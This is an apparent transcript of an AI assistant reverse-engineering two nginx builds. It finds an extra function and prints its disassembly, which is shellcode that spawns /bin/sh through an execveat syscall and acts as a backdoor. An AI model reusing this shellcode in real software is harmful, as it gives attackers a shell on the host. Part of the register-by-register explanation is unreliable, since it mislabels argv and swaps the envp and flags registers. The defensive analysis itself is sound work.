nginx-gcc14-O3
nginx-gcc14-O3-sc

I have two versions of nginx. Can you help me find if one has been compromised?

Tool call: find_unique_functions with args: {} succeeded

Tool call: decompile_function_by_address with args: {"address":"0x13fa90"} succeeded

I compared the two builds and found exactly one function present only in the “-sc” version:

• 0x13fa90

I decompiled it and got:

void sc(void) { syscall(); return; }

What I did:

  1. Used find_unique_functions on both binaries to list symbols only in one or the other.
  2. Saw a single unique symbol in the “-sc” build at 0x13fa90.
  3. Decompiled that address to discover it’s an un-parameterized raw syscall wrapper.

Why it’s suspicious:

• No such stub exists in the clean build.
• A naked syscall with no prologue/epilogue or parameter setup strongly suggests a hidden backdoor entry point.

Conclusion: the “-sc” build appears compromised. You should investigate which syscall number is being issued (likely set elsewhere) and replace with a clean build.

What does this function do? Can you analyze its disassembly code?

Tool call: disassemble_function with args: {"address":"0x13fa90"} failed

Tool call: disassemble_function with args: {"address":"0x13fa90"} succeeded

Here’s the raw disassembly of the lone extra function at 0x13fa90 (in the “-sc” build):

text
0x13fa90: ENDBR64
0x13fa94: PUSH 0x42
0x13fa96: POP  RAX
0x13fa97: INC  AH
0x13fa99: CQO
0x13fa9b: PUSH RDX
0x13fa9c: MOV  RDI,0x68732F2F6E69622F     ; “/bin//sh” in ASCII
0x13faa6: PUSH RDI
0x13faa7: PUSH RSP
0x13faa8: POP  RSI
0x13faa9: MOV  R8, RDX
0x13faac: MOV  R10,RDX
0x13faaf: SYSCALL
0x13fab1: RET

Analysis:

  1. PUSH 0x42 / POP RAX / INC AH
    – RAX starts as 0x42 (66), INC AH bumps the high byte so RAX = 0x142 (322 dec), which on x86_64 Linux is the syscall number for execveat.

  2. CQO
    – Sign‐extends RAX into RDX so RDX=0. We’ll use that zero to terminate both argv and envp.

  3. BUILD “/bin//sh” & ARG-ARRAY ON THE STACK
    – PUSH RDX (0) → this will become argv[1]=NULL
    – MOV RDI, “/bin//sh” → loads the 8-byte literal into RDI
    – PUSH RDI → writes the string to the stack (argv[0] buffer)
    – PUSH RSP; POP RSI → sets RSI to point at the just-pushed string. Now RSI points at &argv[0].

    Stack now looks like: [ RSP ] → pointer to “/bin//sh”
    [RSP+8] → 0

    So argv = { “/bin//sh”, NULL }.

  4. MOV R8,RDX and MOV R10,RDX
    – R8 = envp = NULL
    – R10 = flags = 0

  5. SYSCALL
    – Calls execveat(dirfd=RDI?, pathname=RSI, argv=RSI, envp=NULL, flags=0)
    (effectively execve("/bin/sh", ["/bin/sh"], NULL))

  6. RET

In short, this stub invokes a raw syscall to spawn a shell (/bin/sh). That function does not exist in the clean build—definitely a backdoor.